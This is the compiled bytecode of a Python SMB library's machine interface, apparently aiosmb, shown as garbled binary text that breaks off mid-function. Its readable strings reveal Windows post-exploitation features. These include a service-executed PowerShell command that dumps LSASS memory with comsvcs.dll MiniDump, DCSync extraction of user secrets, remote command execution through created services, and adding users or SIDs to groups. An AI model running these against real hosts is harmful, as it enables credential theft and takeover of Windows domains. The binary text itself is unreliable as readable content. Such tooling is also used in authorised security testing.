o
    Žõ±jD¬  ã                   @   sª  d dl Z d dlZd dlZd dlmZmZmZmZmZm	Z	m
Z
 d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d dlmZ d d	lmZmZ d d
lmZmZ d dlmZmZ d dl m!Z! d dl"m#Z#m$Z$ d dl%m&Z&m'Z' d dl(m)Z)m*Z* d dl+m,Z,m-Z- d dl.m/Z/m0Z0 d dl1m2Z2m3Z3 d dl4m5Z5 d dl6m7Z7 d dl8m9Z9 d dl:m;Z;m<Z< d dl=m>Z> d dl?m@Z@mAZA d dlBmCZCmDZD d dlEmFZF d dlGmHZH G dd„ dƒZIdS )é    N)ÚCallableÚ	AwaitableÚListÚDictÚAsyncGeneratorÚTupleÚUnion)Úlogger)ÚSMBShare)ÚSMBUserSession)ÚSMBFile)ÚSMBDirectory)Úfind_cpasswd)ÚSRVSRPCÚsrvsrpc_from_smb)ÚSAMRRPCÚsamrrpc_from_smb)ÚLSADRPCÚlsadrpc_from_smb)Údrsuapirpc_from_smb)Ú	REMSVCRPCÚremsvcrpc_from_smb)ÚRRPRPCÚrrprpc_from_smb)ÚRPRNRPCÚrprnrpc_from_smb)ÚTSCHRPCÚtschrpc_from_smb)ÚPARRPCÚparrpc_from_smb)ÚWKSTRPCÚwkstrpc_from_smb)Úatsvcrpc_from_smb)ÚRPC_SID)ÚSMBUserSecrets)Ú
SMBServiceÚServiceStatus)ÚSMBConnection)ÚtschÚscmr)ÚCtlCodeÚIOCTLREQFlags)ÚPRINTER_CHANGE_ADD_JOB)Úasynccontextmanagerc                   @   sÂ
  e Zd ZdÒdd„Zdd„ Zdd„ Zdd	„ ZedÓdd„ƒZde	e
eeedf f df fdd„ZdÔdede	e
eeedf f df fdd„ZdÕdede	e
eeedf f df fdd„ZdÖdede	e
eeedf f df fdd„Zde	e
eeedf f df fdd„Zde	e
eeeedf f df fdd„Zd×ded ede	e
eeeedf f df fd!d"„Zded#ede	e
eeeeedf f df fd$d%„Zded&ed'efd(d)„Zded&edee
eeedf f  fd*d+„Zded&edee
eeedf f  fd,d-„Zded&edee
eeedf f  fd.d/„Zded&ed0ed1edee
eeedf f  f
d2d3„Zded&ed4ed1edee
eeedf f  f
d5d6„Z ded&ed1edee
eeedf f  fd7d8„Z!ded&ed1edee
eeedf f  fd9d:„Z"defd;d<„Z#ded#ed=edee
eeedf f  fd>d?„Z$d@e%de	e
eeedf f df fdAdB„Z&dCddDdEgg dddfdFedGedHe'e dIe'e dedJedKede	e
eee%e(f eeedf f df fdLdM„Z)dØdOe*eegee f dFede	e
eee%e(f eeedf f df fdPdQ„Z+dRedSedee
eeedf f  fdTdU„Z,dVedWe(fdXdY„Z-dVedZe%fd[d\„Z.dWe(de	e
e/eedf f df fd]d^„Z0d_edee
eeedf f  fd`da„Z1dbedee
eeedf f  fdcdd„Z2deedfe%dee
eeedf f  fdgdh„Z3de	e
e4eedf f df fdidj„Z5dkedee
e6eedf f  fdldm„Z7dkedee
eeedf f  fdndo„Z8dÙdpede	e
eeeedf f df fdqdr„Z9dg fdpedse'e de	e
e:eedf f df fdtdu„Z;dee
e<eedf f  fdvdw„Z=dxedSedee
eeedf f  fdydz„Z>dee
e'e eedf f  fd{d|„Z?dÚd}ed~edee
eeedf f  fdd€„Z@dÛd�ed‚edkedƒede	e
e/eedf f df f
d„d…„ZAdeBjCfdked�ed‚ed†edee
eeedf f  f
d‡dˆ„ZDdkedee
eeedf f  fd‰dŠ„ZEdkedee
eeedf f  fd‹dŒ„ZFdkedee
eeedf f  fd�dŽ„ZGdkedee
e4eedf f  fd�dm„Z7dÒd�edSedkedee
eeedf f  fd‘d’„ZHde	e
eeedf f df fd“d”„ZId•edee
eeedf f  fd–d—„ZJdÜde	e
eeedf f df fd™dš„ZKdeLjMdeLjNfd›ed•edœed�edžedee
eeedf f  fdŸd „ZOdee
eeedf f  fd¡d¢„ZPdÖd�edƒede	e
e/eedf f df fd£d¤„ZQd•edee
eeedf f  fd¥d¦„ZRdÚd}ed~edee
eeedf f  fd§d¨„ZSd©edee
eeedf f  fdªd«„ZTdÝd¯eded°edee
e'e eedf f  fd±d²„ZUdÞd³ed´ed¯ed~efdµd¶„ZVdÞd³ed´ed¯ed~efd·d¸„ZWdee
e'eXeeeef f  eedf f  fd¹dº„ZYdkedee
e6eedf f  fd»d¼„ZZdkedee
eeedf f  fd½d¾„Z[dee
eXee/f eedf f  fd¿dÀ„Z\dßdFefdÂdÃ„Z]dÙdÄefdÅdÆ„Z^dÙdÄefdÇdÈ„Z_dÙdÉedÄefdÊdË„Z`dÙdÉedÄefdÌdÍ„ZadÎdÏ„ Zbdee
eeedf f  fdÐdÑ„ZcdS )àÚ
SMBMachineNc                 C   s   || _ || _|| _g | _d S ©N)Ú
connectionÚprint_cbÚforce_rpc_authÚsessions)Úselfr0   r1   r2   © r5   ú”/root/aizidognhua/tmp/workspace/projects/ec89d86c-575f-41c9-af57-ac45cbdbf775/venv/lib/python3.10/site-packages/aiosmb/commons/interfaces/machine.pyÚ__init__(   s   
zSMBMachine.__init__c                 Ã   s   �| S r/   r5   ©r4   r5   r5   r6   Ú
__aenter__.   ó   €zSMBMachine.__aenter__c                 Ã   s.   �zt j|  ¡ dd�I d H  W d S    Y d S )Né   )Útimeout)ÚasyncioÚwait_forÚclose)r4   Úexc_typeÚexcÚ	tracebackr5   r5   r6   Ú	__aexit__1   s
   €zSMBMachine.__aexit__c                 Ã   s   �d S r/   r5   r8   r5   r5   r6   r?   7   r:   zSMBMachine.closeTFc                 C  sR   �|  | j|||¡I d H \}}|r|‚z|V  W | ¡ I d H  d S | ¡ I d H  w r/   )Úfrom_smbconnectionr0   r?   )r4   Ú
servce_objÚ
auth_levelÚopenÚperform_dummyÚinstanceÚerrr5   r5   r6   Úconnect_rpc:   s   €"zSMBMachine.connect_rpcÚreturnc              
   C  sÒ   �zO|   ¡ 2 zF3 d H W \}}|d ur	 |j ¡ dkrL| | j¡I d H \}}|d ur+|‚|jd j| jddd�2 z3 d H W \}}}|dkrJ|jd fV  q76 q6 W d S  tyh } zd |fV  W Y d }~d S d }~ww )NúIPC$Ú é   éd   ©ÚdepthÚ
maxentriesÚfile)Úlist_sharesÚnameÚupperÚconnectr0   ÚsubdirsÚlist_rÚ	Exception)r4   ÚsharerJ   Ú_ÚentryÚ	entrytypeÚer5   r5   r6   Ú
list_pipesD   s(   €*€þ€ù
€ÿzSMBMachine.list_pipesÚfetch_share_sdc           	   
   C  s  �zot | j| jd�4 I d H šU}| ¡ 2 zB3 d H W \}}}}|d ur3d |fV   W d   ƒI d H  W d S t|||d| jj ¡ |f d�}|du rP| | j¡I d H  |d fV  q6 W d   ƒI d H  W d S 1 I d H siw   Y  W d S  tyˆ } zd |fV  W Y d }~d S d }~ww )N©rF   z\\%s\%s)rV   ÚstypeÚremarkÚfullpathT)	r   r0   r2   rU   r
   ÚtargetÚget_hostname_or_ipÚget_security_descriptorr[   )	r4   rb   ÚrpcrV   Ú
share_typere   rJ   r\   r`   r5   r5   r6   rU   S   s.   €
üüó2ÿ€ÿzSMBMachine.list_sharesé
   Úlevelc              
   C  sþ   �zet | j| jd�4 I d H šK}|j|d�2 z63 d H W \}}}|d ur4d |fV   W d   ƒI d H  W d S t|| dd¡ ¡ d�}| j |¡ |d fV  q6 W d   ƒI d H  W d S 1 I d H s_w   Y  W d S  t	y~ } zd |fV  W Y d }~d S d }~ww )Nrc   ©rm   ú\rN   )ÚusernameÚip_addr)
r   r0   r2   Úlist_sessionsr   ÚreplaceÚstripr3   Úappendr[   ©r4   rm   rj   rp   rq   rJ   Úsessr`   r5   r5   r6   rr   g   s"   €
üú2ÿ€ÿzSMBMachine.list_sessionsrO   c              
   C  sð   �z^t | j| jd�4 I d H šD}|j|d�2 z/3 d H W \}}}|d ur4d |fV   W d   ƒI d H  W d S t|d�}| j |¡ |d fV  q6 W d   ƒI d H  W d S 1 I d H sXw   Y  W d S  tyw } zd |fV  W Y d }~d S d }~ww )Nrc   rn   )rp   )r!   r0   r2   rr   r   r3   ru   r[   rv   r5   r5   r6   Úwkstlist_sessionst   s"   €
ü
ú2ÿ€ÿzSMBMachine.wkstlist_sessionsc              
   C  s¨   �z:t | j| jd�4 I d H š }| ¡ 2 z3 d H W \}}||fV  q6 W d   ƒI d H  W d S 1 I d H s4w   Y  W d S  tyS } zd |fV  W Y d }~d S d }~ww ©Nrc   )r   r0   r2   Úlist_domainsr[   )r4   rj   ÚdomainrJ   r`   r5   r5   r6   rz   �   s   €ÿ2ÿ€ÿzSMBMachine.list_domainsc              
   C  sh   �z|   d¡2 z3 d H W \}}}|||fV  q6 W d S  ty3 } zd d |fV  W Y d }~d S d }~ww )NÚBuiltin)Úlist_groupsr[   )r4   rV   ÚsidrJ   r`   r5   r5   r6   Úlist_localgroups‰   s   €ÿ€ÿzSMBMachine.list_localgroupsÚdomain_nameÚret_sidc              
   C  s  �zit | j| jd�4 I dH šO}| |¡I dH \}}|dur|‚| |¡I dH \}}|dur/|‚| |¡2 z3 dH W \}}}|durC|‚d||f }	||	dfV  q46 W d  ƒI dH  W dS 1 I dH scw   Y  W dS  tyƒ }
 zdd|
fV  W Y d}
~
dS d}
~
ww )z?
		Lists all groups in a given domain.
		domain_name: string
		rc   Nz%s-%s)r   r0   r2   Úget_domain_sidÚopen_domainÚlist_aliasesr[   )r4   r€   r�   rj   Ú
domain_sidrJ   Údomain_handlerV   Úridr~   r`   r5   r5   r6   r}   �   s(   €ü2ù€ÿzSMBMachine.list_groupsÚ
group_namec              
   C  s  �zçt | j| jd�4 I d H šÍ}t| j| jd�4 I d H š©}| ¡ I d H \}}|d ur+|‚| |¡I d H \}}|d ur;|‚| |¡I d H \}}|d urK|‚d }	| |¡2 z3 d H W \}
}}|d ura|‚|
|kri|}	 nqR6 |	d u rutd| ƒ‚| 	||	¡I d H \}}|d ur†|‚| 
|¡2 z-3 d H W \}}|d ur™|‚| ||g¡2 z3 d H W \}}}|d ur¯|‚|||d fV  q 6 q‹6 W d   ƒI d H  n1 I d H sÊw   Y  W d   ƒI d H  W d S 1 I d H sáw   Y  W d S  t�y } zd d d |fV  W Y d }~d S d }~ww )Nrc   úNo group found with name "%s")r   r0   r2   r   Úopen_policy2r‚   rƒ   r„   r[   Ú
open_aliasÚlist_alias_membersÚlookup_sids)r4   r€   rˆ   ÚsamrpcÚlsadrpcÚpolicy_handlerJ   r…   r†   Útarget_group_ridrV   r‡   Úalias_handler~   Ú	user_namer`   r5   r5   r6   Úlist_group_members¦   sT   €þý ýü*ç2ÿ#€ÿzSMBMachine.list_group_membersr“   Úpasswordc           	   
   Ã   sð   �z`t | j| jd�4 I d H šF}|d u s|dks|dkr%| ¡ I d H \}}n
| |¡I d H \}}|d ur5|‚| |||¡I d H \}}|d urG|‚	 W d   ƒI d H  W dS 1 I d H sZw   Y  W d S  tyw } z
d |fW  Y d }~S d }~ww )Nrc   rN   r|   ©TN)r   r0   r2   ÚopenBuiltinDomainÚopen_domain_by_nameÚcreate_userr[   )	r4   r€   r“   r•   rŽ   ÚdhandlerJ   r]   r`   r5   r5   r6   Úadd_new_userÎ   s"   €4õ€ÿzSMBMachine.add_new_userc              
   Ã   sô   �zZt | j| jd�4 I d H š@}| ||¡4 I d H š}| |¡I d H W  d   ƒI d H  W  d   ƒI d H  W S 1 I d H s=w   Y  W d   ƒI d H  W d S 1 I d H sTw   Y  W d S  tyy } zdd l}| ¡  d |fW  Y d }~S d }~ww )Nrc   r   )r   r0   r2   Úget_user_handleÚenable_accountr[   rB   Ú	print_exc)r4   r€   r“   rŽ   Úuhandler`   rB   r5   r5   r6   Úenable_userà   s   €ÿÿ2ÿ€ýzSMBMachine.enable_userc              
   Ã   óä   �zZt | j| jd�4 I d H š@}| ||¡4 I d H š}| |¡I d H W  d   ƒI d H  W  d   ƒI d H  W S 1 I d H s=w   Y  W d   ƒI d H  W d S 1 I d H sTw   Y  W d S  tyq } z
d |fW  Y d }~S d }~ww ry   ©r   r0   r2   rœ   Údisable_accountr[   ©r4   r€   r“   rŽ   rŸ   r`   r5   r5   r6   Údisable_userë   s   €ÿÿ2ÿ€ÿzSMBMachine.disable_userc              
   Ã   r¡   ry   r¢   r¤   r5   r5   r6   Údelete_useró   s   €ÿÿ2ÿ€ÿzSMBMachine.delete_userÚold_passwordÚnew_passwordc              
   Ã   óè   �z\t | j| jd�4 I d H šB}| ||¡4 I d H š }| |||¡I d H W  d   ƒI d H  W  d   ƒI d H  W S 1 I d H s?w   Y  W d   ƒI d H  W d S 1 I d H sVw   Y  W d S  tys } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   rœ   Úchange_account_passwordr[   )r4   r€   r“   r§   r¨   rŽ   rŸ   r`   r5   r5   r6   Úchange_user_passwordü   ó   €ÿÿ2ÿ€ÿzSMBMachine.change_user_passwordÚold_pw_hashc              
   Ã   r©   ry   )r   r0   r2   rœ   Úchange_account_password_ntr[   )r4   r€   r“   r­   r¨   rŽ   rŸ   r`   r5   r5   r6   Úchange_user_password_nt  r¬   z"SMBMachine.change_user_password_ntc              
   Ã   óæ   �z[t | j| jd�4 I d H šA}| ||¡4 I d H š}| ||¡I d H W  d   ƒI d H  W  d   ƒI d H  W S 1 I d H s>w   Y  W d   ƒI d H  W d S 1 I d H sUw   Y  W d S  tyr } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   rœ   Úchange_account_password_4r[   ©r4   r€   r“   r¨   rŽ   rŸ   r`   r5   r5   r6   Úchange_user_password_new  ó   €ÿÿ2ÿ€ÿz#SMBMachine.change_user_password_newc              
   Ã   r°   ry   )r   r0   r2   rœ   Ú change_account_password_internalr[   r²   r5   r5   r6   Úchange_user_password_internal  r´   z(SMBMachine.change_user_password_internalc              
   C  s¶   �z?t | j| jd�4 I d H š%}| |¡2 z3 d H W \}}}}||||fV  q6 W d   ƒI d H  W d S 1 I d H s9w   Y  W d S  tyZ } zd d d |fV  W Y d }~d S d }~ww ry   )r   r0   r2   Úlist_users_allowed_to_replicater[   )r4   r€   rŽ   rV   r~   r‡   rJ   r`   r5   r5   r6   r·   !  s   €ÿ2ÿ€ÿz*SMBMachine.list_users_allowed_to_replicater~   c              
   Ã   sæ  �zÛt | j| jd�4 I d H šÁ}t| j| jd�4 I d H š�}| ¡ I d H \}}|d ur+|‚| |¡I d H \}}|d ur;|‚| |¡I d H \}	}|d urK|‚d }
| |	¡2 z3 d H W \}}}|d ura|‚||kri|}
 nqR6 |
d u rutd| ƒ‚| 	|	|
¡I d H \}}|d ur†|‚t
ƒ }| |¡ | ||¡I d H \}}|d urŸ|‚|d fW  d   ƒI d H  W  d   ƒI d H  W S 1 I d H s¾w   Y  W d   ƒI d H  W d S 1 I d H sÕw   Y  W d S  tyò } z
d|fW  Y d }~S d }~ww )Nrc   r‰   F)r   r0   r2   r   rŠ   r‚   rƒ   r„   r[   r‹   r#   ÚfromCanonicalÚadd_member_to_alias)r4   r€   rˆ   r~   rŽ   r�   r�   rJ   r…   r†   r‘   rV   r‡   r’   Ú	targetsidÚresultr`   r5   r5   r6   Úadd_sid_to_group*  sR   €þü
âÿ2ÿ €ÿzSMBMachine.add_sid_to_groupÚ	directoryc                 C  sJ   �|  | j¡I d H \}}|d urd |fV  d S | ¡ D ]}|d fV  qd S r/   )Úlistr0   Úget_console_output)r4   r½   r]   rJ   r^   r5   r5   r6   Úlist_directoryO  s   €
ÿzSMBMachine.list_directoryé   zprint$úPRINT$rR   rS   Úexclude_shareÚexclude_dirÚfetch_dir_sdÚfetch_file_sdc              	   C  sò   �|d u rg }|d u rg }i }|   |¡2 z!3 d H W \}	}
|
d ur"|
‚|	j ¡ dkr*q|	||	j< |	dd fV  q6 |D ]=}||v r@q9||  | j¡I d H \}}
|
d urRq9|| jd j| j|||||d�2 z3 d H W }|V  t d¡I d H  qc6 q9d S )NrM   r\   rN   )rR   rS   rÅ   rÆ   rÄ   r   )	rU   rV   rW   rX   r0   rY   rZ   r=   Úsleep)r4   rR   rS   rÃ   rÄ   rb   rÅ   rÆ   Úsharesr\   rJ   Ú
share_namer]   r^   r5   r5   r6   Úenum_all_recursivelyX  s2   €
ú.þ÷zSMBMachine.enum_all_recursivelyéè  Ú	filter_cbc           
      C  sò   �i }|   ¡ 2 z3 d H W \}}|d ur|‚|||j< |dd fV  q6 |D ]R}|d|ƒI d H }|du r3q$||  | j¡I d H \}}|d urEq$|d|| ƒI d H }|du rTq$|| jd j| j|d|d�2 z3 d H W }	|	V  t d¡I d H  qc6 q$d S )Nr\   Ú	sharenameFrN   éÿÿÿÿ)rR   rS   rÌ   r   )rU   rV   rX   r0   rY   rZ   r=   rÇ   )
r4   rÌ   rR   rÈ   r\   rJ   rÉ   Úresr]   r^   r5   r5   r6   Úenum_files_with_filtert  s.   €
ü*þóz!SMBMachine.enum_files_with_filterÚ
local_pathÚremote_pathc           	   
   Ã   s¾   �zGt  | j|¡}| | jd¡I dH \}}|durd|fW S t|dƒ�}| |¡I dH \}}W d  ƒ n1 s8w   Y  | ¡ I dH  |dfW S  ty^ } z
d|fW  Y d}~S d}~ww )zG
		remote_path must be a full UNC path with the file name included!

		ÚwNFÚrb)r   Úfrom_remotepathr0   rG   Úwrite_bufferr?   r[   )	r4   rÑ   rÒ   Úsmbfiler]   rJ   ÚfÚtotal_writenr`   r5   r5   r6   Úput_file�  s   €
ÿ
€ÿzSMBMachine.put_fileÚout_pathÚfile_objc              	   Ã   sŽ   �t |dƒ�7}z%|  | jd¡I d H  	 | d¡I d H }|sn| |¡ qW | ¡ I d H  n| ¡ I d H  w W d   ƒ d S 1 s@w   Y  d S )NÚwbÚrTi   )rG   r0   ÚreadÚwriter?   )r4   rÛ   rÜ   rØ   Údatar5   r5   r6   Úget_file   s   €
ü""÷zSMBMachine.get_fileÚdir_objc                 Ã   s�   �|j | jddd�2 z:3 d H W }|jdu r5t |j¡}tjtj 	||¡dd� |  
tj 	||¡|¡I d H  |  tj 	||j¡|¡I d H  q
6 d S )NrË   rÎ   rQ   T)Úexist_ok)rZ   r0   Úis_directoryÚntpathÚnormpathrV   ÚosÚmakedirsÚpathÚjoinÚget_directoryrâ   )r4   rÛ   rã   r^   Údirnamer5   r5   r6   rì   ­  s   €
 úzSMBMachine.get_directoryc                 C  sZ   �|  | jd¡I d H \}}|d urd |fV  d S | ¡ 2 z3 d H W \}}||fV  q6 d S )NrÞ   )rG   r0   Úread_chunked)r4   rÜ   r]   rJ   rá   r5   r5   r6   Úget_file_data¶  s   €
ÿzSMBMachine.get_file_dataÚ	file_pathc                 Ã   ó   �t  | j|¡I d H S r/   )r   Údelete_rempathr0   )r4   rð   r5   r5   r6   Údel_file¾  ó   €zSMBMachine.del_fileÚdir_pathc                 Ã   rñ   r/   )r   Ú
delete_uncr0   )r4   rõ   r5   r5   r6   Údel_directory_pathÁ  rô   zSMBMachine.del_directory_pathÚdirectory_nameÚparent_directory_objc                 Ã   s   �|  || j¡I d H S r/   )Úcreate_subdirr0   )r4   rø   rù   r5   r5   r6   Úcreate_subdirectoryÄ  rô   zSMBMachine.create_subdirectoryc              
   C  s´   �z@t | j| jd�4 I d H š&}| ¡ 2 z3 d H W \}}|d ur!|‚|d fV  q6 W d   ƒI d H  W d S 1 I d H s:w   Y  W d S  tyY } zd |fV  W Y d }~d S d }~ww ry   )r   r0   r2   r¾   r[   )r4   rj   ÚservicerJ   r`   r5   r5   r6   Úlist_servicesÈ  s   €ý2ÿ€ÿzSMBMachine.list_servicesÚservice_namec              
   Ã   óŒ   �z.t | j| jd�4 I d H š}| |¡I d H W  d   ƒI d H  W S 1 I d H s(w   Y  W d S  tyE } z
d |fW  Y d }~S d }~ww ry   ©r   r0   r2   Ú
get_configr[   ©r4   rþ   rj   r`   r5   r5   r6   Úget_service_configÓ  ó   €4ÿ€ÿzSMBMachine.get_service_configc              
   Ã   s˜   �z4t | j| jd�4 I d H š}| |¡I d H \}}||fW  d   ƒI d H  W S 1 I d H s.w   Y  W d S  tyK } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   Úenable_servicer[   )r4   rþ   rj   rÏ   rA   r`   r5   r5   r6   r  Ú  s   €4þ€ÿzSMBMachine.enable_serviceÚtarget_domainc           
   
   C  sX  �z‘t | j| jd�4 I d H šw}|d u rCt d¡ t d¡ | ¡ 2 z 3 d H W \}}|d ur/|‚|dkr4q!|d u rA|}t d| ¡ q!6 | |¡I d H \}}|d urS|‚| |¡I d H \}}|d urc|‚| |¡2 z3 d H W \}}}|||fV  qh6 W d   ƒI d H  W d S 1 I d H s‹w   Y  W d S  t	y« }	 zd d |	fV  W Y d }	~	d S d }	~	ww )Nrc   ú(No domain defined, fetching it from SAMRúFetching domains...r|   úDomain available: %s)
r   r0   r2   r	   Údebugrz   r‚   rƒ   Úlist_domain_usersr[   )
r4   r  rj   r{   rJ   r…   r†   rp   Úuser_sidr`   r5   r5   r6   r  â  s<   €

€ø
ÿ2é€ÿzSMBMachine.list_domain_usersÚtarget_usersc              
   C  s,  ��zzt |tƒr|g}t| j| jd�4 I d H �šV}|d u s!|dkr�| jd ur/|  d¡I d H  nt d¡ t d¡ g }| ¡ 2 z/3 d H W \}}|d urM|‚|dkrRq?| 	|¡ | jd urg|  d| ¡I d H  q?t d| ¡ q?6 |d }| jd ur†|  d|d  ¡I d H  n	t d|d  ¡ t
| j|| jd	�4 I d H šº}t d
| ¡ t|ƒdkr¿|D ]}| |¡I d H \}	}|	|fV  q¬n�| |¡I d H \}
}|d urÏ|‚| |
¡I d H \}}|d urß|‚| |¡2 zf3 d H W \}}}|d u�rd |fV   W d   ƒI d H  W d   ƒI d H  W d S t d| ¡ | |¡I d H \}	}|d u�r>d |fV   W d   ƒI d H  W d   ƒI d H  W d S t d|	 ¡ |	d fV  qä6 W d   ƒI d H  n1 I d H �s]w   Y  W d   ƒI d H  W d S 1 I d H �suw   Y  W d S  t�y• } zd |fV  W Y d }~d S d }~ww )Nrc   rN   r  r  r|   r	  r   zSelecting first available: %s)r{   rF   zUsing domain: %szusername: %szsecrets: %s)Ú
isinstanceÚstrr   r0   r2   r1   r	   r
  rz   ru   r   ÚlenÚget_user_secretsr‚   rƒ   r  r[   )r4   r  r  rŽ   Úavailable_domainsr{   rJ   Údrsuapirp   Úsecretsr…   r†   r  r`   r5   r5   r6   Údcsync  sz   €





ö
þ

íå/

çå5õ,ð4å8
€þzSMBMachine.dcsyncc              
   Ã   sb   �zt j| j| jd�I d H \}}|d ur|‚|d fW S  ty0 } z
d |fW  Y d }~S d }~ww ry   )r   rD   r0   r2   r[   )r4   rI   rJ   r`   r5   r5   r6   Ú
get_regapiC  s   €
€ÿzSMBMachine.get_regapiÚ	hive_namec              
   Ã   sÔ   �zRt | j| jd�4 I d H š8}| |¡I d H \}}|d ur,d |fW  d   ƒI d H  W S | ||¡I d H \}}||fW  d   ƒI d H  W S 1 I d H sLw   Y  W d S  tyi } z
d |fW  Y d }~S d }~ww ry   )r   r0   r2   ÚOpenRegPathÚSaveKeyr[   )r4   r  rÒ   rj   Ú
key_handlerJ   rÏ   r`   r5   r5   r6   Úsave_registry_hiveL  s   €ý4û€ÿzSMBMachine.save_registry_hivec              
   Ã   s¼   �zFt | j| jd�4 I dH š,}| ¡ I dH \}}|dur+d|fW  d  ƒI dH  W S ||fW  d  ƒI dH  W S 1 I dH s@w   Y  W dS  ty] } z
d|fW  Y d}~S d}~ww )z6
		Lists user SIDs available in the HKLM\USERS hive
		rc   N)r   r0   r2   Ú	ListUsersr[   )r4   rj   ÚusersrJ   r`   r5   r5   r6   Úreg_list_usersW  s   €ý4ü€ÿzSMBMachine.reg_list_usersÚlsass_file_nameÚsilentc                 Ã   s  �d }�z�zùt | j| jd�4 I d H �šÞ}|d u r"t d¡ ¡ d }d| }t d¡ ¡ }|}t d¡ ¡ d }d||||f }t d| ¡ t d| ¡ | |||t	j
¡I d H \}}	|	d urb|	‚|d	u rˆ| jd ur||  d
| jj ¡ |f ¡I d H  ntd
| jj ¡ |f ƒ | |¡I d H \}
}	tdƒD ]Ò}
t d¡I d H  t | jd| ¡}| | j¡I d H \}
}	|	d ur¹q–|d	u rß| jd urÓ|  d| jj ¡ |f ¡I d H  ntd| jj ¡ |f ƒ |d f  W  d   ƒI d H  W W |d u r÷ d S |  |¡I d H \}
}	|  |¡I d H \}
}	|	d u�r?t d¡ |d	u �r>| jd u�r1|  d| jj ¡ |f ¡I d H  S td| jj ¡ |f ƒ S S |d	u �rh| jd u�r[|  d| jj ¡ |f ¡I d H  S td| jj ¡ |f ƒ S S d |	fW  d   ƒI d H  W W |d u �r€ d S |  |¡I d H \}
}	|  |¡I d H \}
}	|	d u�rÈt d¡ |d	u �rÇ| jd u�rº|  d| jj ¡ |f ¡I d H  S td| jj ¡ |f ƒ S S |d	u �rñ| jd u�rä|  d| jj ¡ |f ¡I d H  S td| jj ¡ |f ƒ S S 1 I d H �sùw   Y  W n‘ t�y� } z„d |fW  Y d }~W |d u �r d S |  |¡I d H \}
}	|  |¡I d H \}
}	|	d u�rbt d¡ |d	u �ra| jd u�rT|  d| jj ¡ |f ¡I d H  S td| jj ¡ |f ƒ S S |d	u �r‹| jd u�r~|  d| jj ¡ |f ¡I d H  S td| jj ¡ |f ƒ S S d }~ww W |d u �r™d S |  |¡I d H \}
}	|  |¡I d H \}
}	|	d u�rät d¡ |d	u �râ| jd u�rÔ|  d| jj ¡ |f ¡I d H  d S td| jj ¡ |f ƒ d S d S |d	u �r| jd u�r|  d| jj ¡ |f ¡I d H  d S td| jj ¡ |f ƒ d S d S |d u �r   Y d S |  |¡I d H \}
}	|  |¡I d H \}
}	|	d u�rdt d¡ |d	u �rc| jd u�rV|  d| jj ¡ |f ¡I d H  w td| jj ¡ |f ƒ w w |d	u �r�| jd u�r€|  d| jj ¡ |f ¡I d H  w td| jj ¡ |f ƒ w w )Nrc   é   ú.arjú»powershell.exe -NoP -C "%%windir%%\System32\rundll32.exe %%windir%%\System32\comsvcs.dll, MiniDump (Get-Process lsass).Id \Windows\Temp\%s full;Wait-Process -Id (Get-Process rundll32).id"ú.batzF%%COMSPEC%% /Q /c echo %s  2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %szService: %súCommand: %sFz"[%s] Service created with name: %sr;   ú\ADMIN$\Temp\%sz9[%s] Dump file is now accessible here: C:\Windows\Temp\%súFailed to delete service!z![%s] Failed to remove service: %sz[%s] Removed service: %s)r   r0   r2   rè   ÚurandomÚhexr	   r
  Úcreate_servicer)   ÚSERVICE_DEMAND_STARTr1   rg   rh   ÚprintÚstart_serviceÚranger=   rÇ   r   rÕ   rG   Ústop_serviceÚdelete_servicer[   )r4   r  r   rþ   rj   ÚcommandÚdisplay_nameÚ
batch_filerÏ   rJ   r]   Útempr`   r5   r5   r6   Úservice_dump_lsasse  sò   €
"
"
Ù-


"ü
"üð×
-


"ü
"üÇ*



"ü
"ü€ñÖ
-


$ü
$ü
ô


"ü
"üzSMBMachine.service_dump_lsassr1  r2  Úresult_wait_timeoutc              
   C  s€  ��z$t | j| jd�4 I dH š¾}|du rt d¡ ¡ }|du r!|}t d¡ ¡ d }t d¡ ¡ }d| }d| }	d||	|||f }t d| ¡ | |||t	j
¡I dH \}
}|dur]|‚td	| ƒ | |¡I dH \}}d}td
ƒD ])}t d| ¡ t | j|¡}| | j¡I dH \}}|dur›t |¡I dH  qs n|‚| ¡ 2 z3 dH W \}}|dur¶t d¡ |‚|du r¼ n||fV  q£6 W d  ƒI dH  n1 I dH sÓw   Y  t d¡ |  |¡I dH \}}|durðt d¡ t d¡ |  |¡I dH \}}|du�r	t d¡ t d¡ | ¡ I dH \}}|du�r!t d¡ dV  W dS  t�y? } zd|fV  W Y d}~dS d}~ww )úe
		Creates a service and starts it.
		Does not create files! there is a separate command for that!
		rc   Nr!  r$  ú\ADMIN$\temp\%sú%%windir%%\temp\%szM%%COMSPEC%% /Q /c echo %s  ^>  %s 2^>^&1 > %s & %%COMSPEC%% /Q /c %s & del %sr%  zService created. Name: %sr;   úOpening temp file. Path: %súTemp file read failed!zStopping service...zFailed to stop service!zDeleting service...r'  úDeleting temp file...úFailed to delete temp file!©NN)r   r0   r2   rè   r(  r)  r	   r
  r*  r)   r+  r,  r-  r.  r   rÕ   rG   r=   rÇ   rî   r/  r0  ÚwarningÚdeleter[   )r4   r1  r2  rþ   r6  Úhandler3  Útemp_file_nameÚtemp_file_locationÚtemp_locationrÏ   rJ   r]   r4  rá   r`   r5   r5   r6   Úservice_cmd_exec¨  sl   €
ù(Ø
1






€ÿzSMBMachine.service_cmd_execÚ	starttypec           	   
   Ã   s¬   �z>t | j| jd�4 I dH š$}|du r|}|j||||d�I dH \}}||fW  d  ƒI dH  W S 1 I dH s8w   Y  W dS  tyU } z
d|fW  Y d}~S d}~ww )r7  rc   N)rF  )r   r0   r2   r*  r[   )	r4   rþ   r1  r2  rF  rj   rÏ   rJ   r`   r5   r5   r6   r*  ô  s   €4ü€ÿzSMBMachine.create_servicec              
   Ã   óŒ   �z.t | j| jd�4 I dH š}| |¡I dH W  d  ƒI dH  W S 1 I dH s(w   Y  W dS  tyE } z
d|fW  Y d}~S d}~ww ©r7  rc   N)r   r0   r2   r-  r[   r  r5   r5   r6   r-    ó   €4ÿ€ÿzSMBMachine.start_servicec              
   Ã   rG  rH  )r   r0   r2   r/  r[   r  r5   r5   r6   r/    rI  zSMBMachine.stop_servicec              
   Ã   rG  rH  )r   r0   r2   r0  r[   r  r5   r5   r6   r0    rI  zSMBMachine.delete_servicec              
   Ã   rG  rH  r   r  r5   r5   r6   r  #  rI  Úpath_to_executablec           	   
